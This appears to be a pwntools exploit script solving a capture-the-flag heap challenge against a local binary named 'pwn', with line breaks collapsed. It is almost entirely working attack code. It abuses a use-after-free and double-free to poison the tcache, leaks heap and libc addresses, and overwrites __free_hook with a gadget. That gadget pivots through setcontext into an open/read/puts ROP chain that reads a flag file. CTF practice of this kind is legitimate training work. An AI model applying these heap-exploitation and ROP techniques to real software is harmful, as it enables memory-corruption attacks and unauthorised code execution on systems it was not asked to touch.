1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139
| from pwn import *
elf = ELF('./pwn') r = process('./pwn') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') context.arch = 'amd64'
def menu(option): r.recvuntil(b'>> ') r.send(bytes(str(option), encoding='utf8')+b'\n')
def create(idx, gender, name): menu(1) r.recvuntil(b'Please input index?') r.send(bytes(str(idx), encoding='utf8')) r.recvuntil(b"2.Girl:") r.send(bytes(str(gender), encoding='utf8')) r.recvuntil(b"Please input your child's name:") r.send(name)
def change_name(idx, name): menu(2) r.recvuntil(b'Please input index?') r.send(bytes(str(idx), encoding='utf8')) r.recvuntil(b"Please input your child's new name:") r.send(name)
def show(idx): menu(3) r.recvuntil(b'Please input index?') r.send(bytes(str(idx), encoding='utf8'))
def delete(idx): menu(4) r.recvuntil(b'Please input index?') r.send(bytes(str(idx), encoding='utf8'))
def edit(idx, description): menu(5) r.recvuntil(b'Please input index?') r.send(bytes(str(idx), encoding='utf8')) r.recvuntil(b"description:") r.send(description)
def change_gender(idx, gender): menu(666) r.recvuntil(b'Please input index?') r.send(bytes(str(idx), encoding='utf8')) r.recvuntil(b"2.Girl:") r.send(bytes(str(gender), encoding='utf8'))
context.log_level = 'debug'
create(0, 1, b'cml') delete(0) change_gender(0, 2) delete(0) create(0, 1, b'cml') create(1, 1, b'cml') create(2, 1, b'cml') delete(1) delete(2) show(0) r.recvuntil(b'Gender: ') heap_base = u64(r.recv(6).ljust(8, b'\x00'))-0x10 print("heap_base=>", hex(heap_base))
create(1, 1, b'cml') create(2, 1, b'cml') delete(1) delete(2) change_name(0, p64(heap_base+0x10)[:-1]) create(1, 1, b'cml') create(2, 2, b'\x00'*7) edit(2, b'\x00'*14+b'\x08') delete(1) show(0) r.recvuntil(b'Gender: ') main_arena_96 = u64(r.recv(6).ljust(8, b'\x00')) malloc_hook = (main_arena_96 & 0xFFFFFFFFFFFFF000) + \ (libc.symbols['__malloc_hook'] & 0xfff) libc_base = malloc_hook-libc.symbols['__malloc_hook'] print('libc_base=>', hex(libc_base))
setcontext_addr = libc_base+libc.symbols['setcontext']+61 free_hook = libc_base+libc.symbols['__free_hook'] open_addr = libc_base+libc.symbols['open'] read_addr = libc_base+libc.symbols['read'] puts_addr = libc_base+libc.symbols['puts'] pop_rdi = libc_base+next(libc.search(asm('pop rdi\nret'))) pop_rsi = libc_base+next(libc.search(asm('pop rsi\nret'))) pop_rdx_r12 = libc_base+0x000000000011c371 ret_addr = libc_base+next(libc.search(asm('ret'))) gadget = libc_base+0x1546f0+576 ''' 0x00007f3ddba96930 <+576>: mov rdx,QWORD PTR [rdi+0x8] 0x00007f3ddba96934 <+580>: mov QWORD PTR [rsp],rax 0x00007f3ddba96938 <+584>: call QWORD PTR [rdx+0x20] ''' bss = libc_base+libc.bss()+0x300 flag_addr = heap_base+0x4c0 rop_chain = p64(pop_rdi)+p64(flag_addr)+p64(open_addr) rop_chain += p64(pop_rdi)+p64(4)+p64(pop_rsi)+p64(bss) + \ p64(pop_rdx_r12)+p64(0x30)+p64(0)+p64(read_addr) rop_chain += p64(pop_rdi)+p64(bss)+p64(puts_addr) edit(2, b'\x00'*15) create(1, 1, b'aaaaaaa') create(3, 1, b'flag\x00\x00\x00') edit(3, rop_chain) print(hex(puts_addr)) rop_chain_addr = heap_base+0x4d0
create(4, 1, b'aaaaaaa') arg_addr = heap_base+0x5e0 payload = b'\x00'*14+b'\x01' payload = payload.ljust(0xe8, b'\x00')+p64(arg_addr) edit(2, payload[:-1]) create(5, 1, b'shell') payload = p64(0)+p64(arg_addr) payload = payload.ljust(0x20, b'\x00')+p64(setcontext_addr) payload = payload.ljust(0xa0, b'\x00') + \ p64(rop_chain_addr)+p64(setcontext_addr+334-61) edit(4, payload)
payload = b'\x00'*14+b'\x01' payload = payload.ljust(0xe8, b'\x00')+p64(free_hook) edit(2, payload[:-1]) create(6, 1, p64(gadget)[:-1]) delete(5)
r.interactive()
|